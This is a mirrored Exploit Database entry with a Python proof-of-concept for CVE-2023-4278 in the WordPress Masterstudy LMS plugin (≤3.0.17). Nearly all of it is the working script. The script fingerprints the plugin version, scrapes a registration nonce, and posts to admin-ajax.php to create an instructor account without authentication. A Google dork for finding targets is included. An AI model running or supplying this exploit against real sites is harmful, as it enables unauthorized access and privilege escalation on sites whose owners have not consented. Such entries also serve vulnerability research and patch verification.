WordPress Plugin Masterstudy LMS – 3.0.17 – Unauthenticated Instructor Account Creation

• Exploit Database
• 118 阅读

• 作者： Revan Arifio
  日期： 2023-10-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51735/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

  # Exploit Title:WordPress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation # Google Dork: inurl:/user-public-account # Date: 2023-09-04 # Exploit Author: Revan Arifio # Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/ # Version: <= 3.0.17 # Tested on: Windows, Linux # CVE : CVE-2023-4278   import requests import os import re import time   banner = """ __________________ ___ _________ ___ ______ ___ / ____\ \/ /____||__ \ / _ \__ \|___ \| || |__ \____/ _ \ | | \ \/ /| |__ ______ ) | | | | ) | __) |_____| || |_ ) |/ / (_) | | |\ \/ / |__|______/ /| | | |/ / |__ <______|__ _/ // / > _ < | |____ \/| |____/ /_| |_| / /_ ___) || |/ /_ / / | (_) | \_____| \/ |______||____|\___/____|____/ |_|____/_/ \___/   ====================================================================================================== || Title: Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation || || Author : https://github.com/revan-ar || || Vendor Homepage: https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/|| || Support: https://www.buymeacoffee.com/revan.ar || ======================================================================================================   """     print(banner)   # get nonce def get_nonce(target): open_target = requests.get("{}/user-public-account".format(target)) search_nonce = re.search(&apos;"stm_lms_register":"(.*?)"&apos;, open_target.text) if search_nonce[1] != None: return search_nonce[1] else: print("Failed when getting Nonce :p")       # privielege escalation def privesc(target, nonce, username, password, email):   req_data = { "user_login":"{}".format(username), "user_email":"{}".format(email), "user_password":"{}".format(password), "user_password_re":"{}".format(password), "become_instructor":True, "privacy_policy":True, "degree":"", "expertize":"", "auditory":"", "additional":[], "additional_instructors":[], "profile_default_fields_for_register":[], "redirect_page":"{}/user-account/".format(target) }   start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)   if start.status_code == 200: print("[+] Exploit Success !!") else: print("[+] Exploit Failed :p")       # URL target target = input("[+] URL Target: ") print("[+] Starting Exploit") plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target)) plugin_version = re.search("Stable tag: (.+)", plugin_check.text) int_version = plugin_version[1].replace(".", "") time.sleep(1)   if int(int_version) < 3018: print("[+] Target is Vulnerable !!") # Credential email =input("[+] Email: ") username =input("[+] Username: ") password =input("[+] Password: ") time.sleep(1) print("[+] Getting Nonce...") get_nonce = get_nonce(target) # Get Nonce if get_nonce != None: print("[+] Success Getting Nonce: {}".format(get_nonce)) time.sleep(1) # Start PrivEsc privesc(target, get_nonce, username, password, email) # ----------------------------------   else: print("[+] Target is NOT Vulnerable :p")